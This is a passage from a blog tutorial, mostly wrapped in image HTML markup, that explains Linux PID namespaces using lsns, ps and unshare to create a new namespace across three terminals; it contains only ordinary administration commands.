srcset="https://substackcdn.com/image/fetch/$s_!05zk!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 424w, https://substackcdn.com/image/fetch/$s_!05zk!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 848w, https://substackcdn.com/image/fetch/$s_!05zk!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 1272w, https://substackcdn.com/image/fetch/$s_!05zk!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc82ce838-e588-40cd-8504-3a13d00f59af_1024x589.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>This output lists all namespaces on the system, their types, and the processes associated with them.</p><p>Let&#8217;s focus specifically on the PID namespaces:</p><pre><code><code>$ sudo lsns -t pid</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!R7bi!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!R7bi!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 424w, https://substackcdn.com/image/fetch/$s_!R7bi!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 848w, https://substackcdn.com/image/fetch/$s_!R7bi!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 1272w, https://substackcdn.com/image/fetch/$s_!R7bi!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!R7bi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png" width="1024" height="220" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:220,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:26476,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!R7bi!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 424w, https://substackcdn.com/image/fetch/$s_!R7bi!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 848w, https://substackcdn.com/image/fetch/$s_!R7bi!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 1272w, https://substackcdn.com/image/fetch/$s_!R7bi!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbdc71a10-6193-4aa1-a7d3-edaa72e9982d_1024x220.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>Here you can see there&#8217;s only one PID namespace, the <strong>initial</strong> or <strong>root</strong> namespace.</p><p>It contains every process that exists when the system boots.</p><p>We can confirm this by displaying the PID namespace each process belongs to:</p><pre><code><code>$ sudo ps -eo pidns,pid,cmd</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Iv1X!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Iv1X!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 424w, https://substackcdn.com/image/fetch/$s_!Iv1X!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 848w, https://substackcdn.com/image/fetch/$s_!Iv1X!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 1272w, https://substackcdn.com/image/fetch/$s_!Iv1X!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Iv1X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png" width="1024" height="586" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:586,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:114259,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!Iv1X!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 424w, https://substackcdn.com/image/fetch/$s_!Iv1X!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 848w, https://substackcdn.com/image/fetch/$s_!Iv1X!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 1272w, https://substackcdn.com/image/fetch/$s_!Iv1X!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F29dc4031-ab4c-4581-ab00-5b172d3e9760_1024x586.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>You&#8217;ll notice every process shares the same namespace ID (<code>4026531836</code> in this case), meaning they all belong to the root PID namespace.</p><p>Now that we know what the root namespace looks like, let&#8217;s create a new one using the <code>unshare</code> command.</p><p>Before we begin, here&#8217;s how we&#8217;ll organize our setup:</p><ul><li><p><strong>parent-ns (red):</strong> the host terminal, representing the root PID namespace.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!54m9!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!54m9!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 424w, https://substackcdn.com/image/fetch/$s_!54m9!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 848w, https://substackcdn.com/image/fetch/$s_!54m9!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 1272w, https://substackcdn.com/image/fetch/$s_!54m9!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!54m9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png" width="1024" height="310" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28806,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!54m9!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 424w, https://substackcdn.com/image/fetch/$s_!54m9!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 848w, https://substackcdn.com/image/fetch/$s_!54m9!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 1272w, https://substackcdn.com/image/fetch/$s_!54m9!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2af4f725-2818-4d24-ae6f-22a7bed902b3_1024x310.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li><li><p><strong>child-ns-01 (green):</strong> the second terminal,  we&#8217;ll use this one to create a new PID namespace using the <code>unshare</code> command.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!sfUh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!sfUh!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 424w, https://substackcdn.com/image/fetch/$s_!sfUh!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 848w, https://substackcdn.com/image/fetch/$s_!sfUh!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 1272w, https://substackcdn.com/image/fetch/$s_!sfUh!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!sfUh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png" width="1024" height="310" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:29928,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!sfUh!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 424w, https://substackcdn.com/image/fetch/$s_!sfUh!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 848w, https://substackcdn.com/image/fetch/$s_!sfUh!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 1272w, https://substackcdn.com/image/fetch/$s_!sfUh!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd3c5cace-afcd-42da-b6bc-b1918c9c3460_1024x310.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li><li><p><strong>child-ns-02 (blue): </strong>the third terminal, for creating  another  PID namespace again.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!mL_J!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!mL_J!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 424w, https://substackcdn.com/image/fetch/$s_!mL_J!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 848w, https://substackcdn.com/image/fetch/$s_!mL_J!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 1272w, https://substackcdn.com/image/fetch/$s_!mL_J!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!mL_J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png" width="1024" height="310" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:310,&quot;width&quot;:1024,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:28759,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.sysxplore.com/i/177685710?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!mL_J!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 424w, https://substackcdn.com/image/fetch/$s_!mL_J!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 848w, https://substackcdn.com/image/fetch/$s_!mL_J!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 1272w, https://substackcdn.com/image/fetch/$s_!mL_J!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F18019ca8-6868-4447-94ce-8056dadf9c13_1024x310.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div></li></ul><p>To create our first PID namespace, we&#8217;ll use the <code>unshare</code> command.</p><p><code>unshare</code> lets you start a process in one or more new namespaces without using any container tools.</p><p>In the second terminal (<strong>child-ns-01</strong>), run:</p><pre><code><code>$ sudo unshare --pid --fork --mount-proc /bin/bash</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!ivKj!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!ivKj!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc6774692-f183-4eaa-b13d-828c39b9cca4_1024x165.png 424w, 